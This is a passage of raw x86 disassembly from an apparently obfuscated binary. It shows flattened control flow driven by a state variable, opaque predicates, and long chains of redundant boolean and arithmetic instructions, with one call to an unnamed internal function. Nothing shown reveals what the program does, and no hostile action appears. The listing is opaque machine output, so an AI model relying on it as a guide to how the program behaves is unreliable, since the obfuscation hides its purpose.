and dl, bl
xor ch, 0xff
mov dh, ah
xor dh, ch
and dh, ah
mov ch, al
xor ch, 0xff
xor cl, 0xff
mov byte [ebp - 0x83b2e], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x83b2d], cl
mov ah, ch
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0x83b32]
mov byte [ebp - 0x83b31], al
mov al, byte [ebp - 0x83b2e]
and al, 0xff
mov byte [ebp - 0x83b30], al
mov al, byte [ebp - 0x83b2d]
and cl, al
mov al, byte [ebp - 0x83b31]
or ah, al
mov al, byte [ebp - 0x83b30]
or al, cl
mov cl, byte [ebp - 0x83b2f]
xor ah, al
mov al, byte [ebp - 0x83b2e]
or ch, al
mov al, byte [ebp - 0x83b2d]
xor ch, 0xff
or al, 1
and ch, al
mov al, byte [ebp - 0x83b2c]
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x83b28], dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x83b2b], ch
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and ch, 0
and al, dl
mov dh, ah
and dh, 0
and bl, dl
or ch, al
mov al, byte [ebp - 0x83b2b]
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or ch, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov al, dh
and al, 1
mov byte [ebp - 0x83b2a], al
mov al, bl
and al, 0
mov byte [ebp - 0x83b29], al
mov al, byte [ebp - 0x83b2a]
and cl, dh
or ch, al
mov al, byte [ebp - 0x83b29]
or al, cl
mov cl, byte [ebp - 0x83b28]
xor ch, al
mov al, byte [ebp - 0x83b27]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or dl, cl
mov ah, 1
xor ah, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
xor cl, 0xff
mov ch, 1
xor ch, 1
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov ch, 1
xor ch, 1
or dl, bl
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, ch
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or dl, ch
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, 1
xor ah, 0
mov bl, al
and bl, ah
xor al, 0xff
and al, 0
or bl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83b26], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bl, ah
or al, cl
mov cl, byte [ebp - 0x83b26]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
and al, dl
or ah, al
mov al, 1
xor al, 1
and al, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or cl, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, 1
xor al, 0
mov dh, cl
xor dh, al
and dh, cl
xor bh, 0xff
mov ch, dl
xor ch, 0xff
mov al, 1
xor al, 0
or bh, ch
or al, 0
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 0
mov al, ah
xor al, ch
and al, ah
mov byte [ebp - 0x83b25], al
xor bl, 0xff
mov al, dl
xor al, 0xff
mov ch, 1
xor ch, 1
or bl, al
mov al, byte [ebp - 0x83b25]
or ch, 1
xor bl, 0xff
and bl, ch
mov ch, dh
and ch, bh
xor dh, bh
or ch, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f70151e
mov ecx, 0xe011f0d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
xor edx, edx
sub edx, 1
add edx, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, ecx
add esi, 0
xor edi, edi
sub edi, 0x10b3cbd5
sub edi, edx
add edi, 0x10b3cbd5
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x83be4], dl
cmp eax, 0xa
setl dh
mov byte [ebp - 0x83bd9], dh
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bl, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, 1
xor al, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 0
and ch, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
mov bl, 1
xor bl, 0
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x83be6], dl
mov dh, 1
xor dh, 1
xor ch, 0xff
mov dl, 1
xor dl, 1
or dh, ch
or dl, 1
xor dh, 0xff
and dh, dl
mov ch, al
xor ch, 0xff
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x83be5], dl
mov bl, 1
xor bl, 1
mov dl, ch
and dl, 0xff
and al, bl
mov byte [ebp - 0x83be8], al
mov al, byte [ebp - 0x83be5]
and al, 0xff
mov byte [ebp - 0x83be7], al
mov al, byte [ebp - 0x83be8]
and cl, bl
or dl, al
mov al, byte [ebp - 0x83be7]
or al, cl
mov cl, byte [ebp - 0x83be6]
xor dl, al
mov al, byte [ebp - 0x83be5]
or ch, al
mov al, byte [ebp - 0x83be4]
xor ch, 0xff
or bl, 1
and ch, bl
or dl, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov dh, dl
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and dl, ch
or cl, dl
mov byte [ebp - 0x83bc7], cl
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
mov dh, dl
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov dl, bh
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, bh
and bl, dh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, dh
mov dh, byte [ebp - 0x83bc7]
or dl, bl
or cl, ch
xor dl, cl
mov ch, bh
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov byte [ebp - 0x83bd4], cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov al, dh
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x83be2], bl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and bl, 0xff
mov byte [ebp - 0x83be3], bl
and cl, ch
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x83be1], al
mov al, byte [ebp - 0x83be3]
or al, cl
mov cl, byte [ebp - 0x83be2]
mov byte [ebp - 0x83be0], al
mov al, byte [ebp - 0x83be1]
or bl, al
mov al, byte [ebp - 0x83be0]
xor al, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, ah
and al, ch
or cl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov byte [ebp - 0x83bdf], al
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or dh, al
mov al, byte [ebp - 0x83bdf]
or ch, bl
xor dh, ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x83bda], al
mov bl, 1
xor bl, 1
mov al, ch
and al, 0xff
mov byte [ebp - 0x83bde], al
mov al, byte [ebp - 0x83bda]
and cl, bl
and al, 0xff
mov byte [ebp - 0x83bdc], al
mov al, byte [ebp - 0x83bdf]
and al, bl
mov byte [ebp - 0x83bdd], al
mov al, byte [ebp - 0x83bde]
or al, cl
mov cl, byte [ebp - 0x83bdd]
mov byte [ebp - 0x83bdb], al
mov al, byte [ebp - 0x83bdc]
or al, cl
mov cl, byte [ebp - 0x83bdb]
xor cl, al
mov al, byte [ebp - 0x83bda]
or ch, al
mov al, byte [ebp - 0x83bd9]
xor ch, 0xff
or bl, 1
and ch, bl
or cl, ch
mov ch, dh
and ch, 1
xor dh, 1
or ch, dh
mov bl, cl
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and cl, dh
or bl, cl
xor bl, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or bl, ch
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and al, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, al
mov al, byte [ebp - 0x83bc7]
or ch, dh
xor cl, ch
mov byte [ebp - 0x83bd7], cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x83bd8], al
mov al, 1
xor al, 1
mov cl, al
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x83bd6], al
mov al, byte [ebp - 0x83bd8]
or al, cl
mov cl, byte [ebp - 0x83bd7]
mov byte [ebp - 0x83bd5], al
mov al, byte [ebp - 0x83bd6]
or dh, al
mov al, byte [ebp - 0x83bd5]
xor al, dh
mov dh, cl
and dh, ch
xor cl, ch
or dh, cl
mov ch, al
and ch, 1
xor al, 1
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, 1
xor cl, 1
and dh, cl
mov cl, byte [ebp - 0x83bd4]
or al, dh
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
xor cl, 0xff
mov al, dl
xor al, 0xff
mov ch, 1
xor ch, 1
or cl, al
mov al, byte [ebp - 0x83bd4]
or ch, 1
xor cl, 0xff
and cl, ch
xor al, 0xff
mov ch, dl
and ch, al
mov al, byte [ebp - 0x83bd4]
xor dl, 0xff
and al, dl
or ch, al
mov byte [ebp - 0x83bd3], ch
mov al, cl
xor al, 0xff
mov byte [ebp - 0x83bce], al
xor ch, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0x83bd2], al
and cl, dl
mov al, ch
and al, 0
mov byte [ebp - 0x83bd0], al
mov al, byte [ebp - 0x83bd3]
and al, dl
mov byte [ebp - 0x83bd1], al
mov al, byte [ebp - 0x83bd2]
or al, cl
mov cl, byte [ebp - 0x83bd1]
mov byte [ebp - 0x83bcf], al
mov al, byte [ebp - 0x83bd0]
or al, cl
mov cl, byte [ebp - 0x83bcf]
xor cl, al
mov al, byte [ebp - 0x83bce]
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dl, dh
xor dl, 0xff
mov al, bl
xor al, dl
and al, bl
mov byte [ebp - 0x83bcd], al
mov ch, bl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bl, al
mov dl, dh
xor dl, 0xff
and dl, 0xff
and dh, al
mov al, byte [ebp - 0x83bcd]
or ch, bl
or dl, dh
xor ch, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov dh, cl
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, dl
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and dl, dh
or ch, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov al, bh
and al, ch
or cl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or ch, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov byte [ebp - 0x83bcb], bl
mov al, 1
xor al, 0
mov dh, cl
xor dh, al
and dh, cl
xor bh, 0xff
xor bl, 0xff
mov al, 1
xor al, 0
or bh, bl
or al, 0
xor bh, 0xff
and bh, al
mov al, 1
xor al, 0
mov bl, ch
xor bl, al
mov al, byte [ebp - 0x83bcb]
and bl, ch
mov byte [ebp - 0x83bcc], bl
xor ah, 0xff
xor al, 0xff
mov bl, 1
xor bl, 1
or ah, al
mov al, byte [ebp - 0x83bcc]
or bl, 1
xor ah, 0xff
and ah, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, al
mov al, byte [ebp - 0x83bcb]
or bh, bl
or ah, dh
xor bh, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x83bc8], cl
mov ah, 1
xor ah, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
mov bl, ch
and bl, 0
mov byte [ebp - 0x83bca], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x83bc9], al
mov al, byte [ebp - 0x83bca]
or cl, al
mov al, byte [ebp - 0x83bc9]
or bl, al
mov al, byte [ebp - 0x83bc8]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or ah, bh
mov bh, byte [ebp - 0x83bc7]
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x83bc3], al
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov byte [ebp - 0x83bc6], bl
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or cl, dh
or al, ch
xor cl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov al, 1
xor al, 0
or bl, ch
or al, 0
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
xor ch, dh
and ch, ah
mov dh, cl
xor dh, 0xff
xor bh, dh
mov dh, byte [ebp - 0x83bc7]
and bh, dh
mov dh, bl
and dh, al
xor bl, al
mov al, byte [ebp - 0x83bc6]
or dh, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov byte [ebp - 0x83bc2], ch
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, 1
xor ch, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x83bc5], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x83bc4], al
mov al, byte [ebp - 0x83bc5]
and cl, bl
or dh, al
mov al, byte [ebp - 0x83bc4]
or al, cl
mov cl, byte [ebp - 0x83bc3]
xor dh, al
mov al, byte [ebp - 0x83bc2]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x83bc1], cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, cl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x83bc1]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8fe3adc4
mov ecx, 0x598138cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x831e0], eax
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x6ebda27c
jmp 0x42c10b
mov dword [ebp - 0x831e0], 0x6d250d05
jmp 0x42c10b
mov eax, dword [ebp - 0x83088]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x8308c]
xor esi, esi
sub esi, 0xdcebdc68
sub esi, 0xd13da4f2
add esi, 0xdcebdc68
xor eax, eax
sub eax, esi
add edx, eax
xor eax, eax
sub eax, edx
add eax, 0
xor edx, edx
sub edx, 0x3b4d2b77
sub edx, ecx
add edx, 0x3b4d2b77
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov esi, 0x75e72a47
add esi, 0
sub esi, eax
sub esi, 0x75e72a47
xor eax, eax
sub eax, 0x7f32a098
sub eax, 0xd13da4f2
add eax, 0x7f32a098
add esi, 0x690b24e2
add esi, eax
sub esi, 0x690b24e2
mov ecx, dword [ebp - 0x83094]
mov edx, dword [ebp - 0x83090]
lea eax, [ebp - 0x83070]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00404280
add esp, 0x10
mov dword [ebp - 0x831e0], 0xba4f0bf6
jmp 0x42c10b
mov edx, dword [ebp - 0x831d4]
xor eax, eax
sub eax, 0x519e2cfc
sub eax, 0xf41749c4
add eax, 0x519e2cfc
xor ecx, ecx
sub ecx, edx
add eax, ecx
sub eax, 0x58887c54
add eax, 0xf41749c4
add eax, 0x58887c54
xor ecx, ecx
sub ecx, 1
add ecx, 0
xor edx, edx
sub edx, 0x33aed6b6
add edx, ecx
add edx, 0x33aed6b6
sub eax, 0x4e862003
sub eax, 0x61ea9df9
add eax, 0x4e862003
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x61ea9df9
add ecx, eax
xor eax, eax
sub eax, ecx
mov edx, 0x4b176f89
add edx, 0
sub edx, eax
sub edx, 0x4b176f89
xor ecx, ecx
sub ecx, 0
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x83084], eax
mov dword [ebp - 0x831e0], 0xbf4f4121
jmp 0x42c10b
mov ecx, dword [0x530348]
mov eax, dword [0x530344]
mov edx, ecx
sub edx, 0xfd7350e6
sub edx, 0xd8616af2
add edx, 0xfd7350e6
add edx, 0xa519ff10
sub edx, 0xe6867e51
sub edx, 0xa519ff10
add edx, 0x4e26abe1
add edx, 0xd8616af2
sub edx, 0x4e26abe1
add edx, 0x5346d526
sub edx, 0x78b46a28
sub edx, 0x5346d526
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x65bbc2da
add edx, 0x78b46a28
add edx, 0x65bbc2da
add edx, 0xc598f486
sub edx, 0x698efa1b
sub edx, 0xc598f486
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe6867e51
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xc9fad24e
add edx, 0x698efa1b
add edx, 0xc9fad24e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, bl
or dl, ah
xor al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or dl, bh
or ah, bl
xor dl, ah
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x83bec], bh
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and bh, 0xff
mov byte [ebp - 0x83bed], bh
and cl, ah
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x83beb], al
mov al, byte [ebp - 0x83bed]
or al, cl
mov cl, byte [ebp - 0x83bec]
mov byte [ebp - 0x83bea], al
mov al, byte [ebp - 0x83beb]
or bh, al
mov al, byte [ebp - 0x83bea]
xor al, bh
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x83be9], al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
xor dh, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, ch
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x83be9]
or ah, bh
xor al, ah
mov bh, 1
xor bh, 0
mov ah, al
xor ah, bh
and ah, al
xor ch, 0xff
xor bl, 0xff
mov al, 1
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
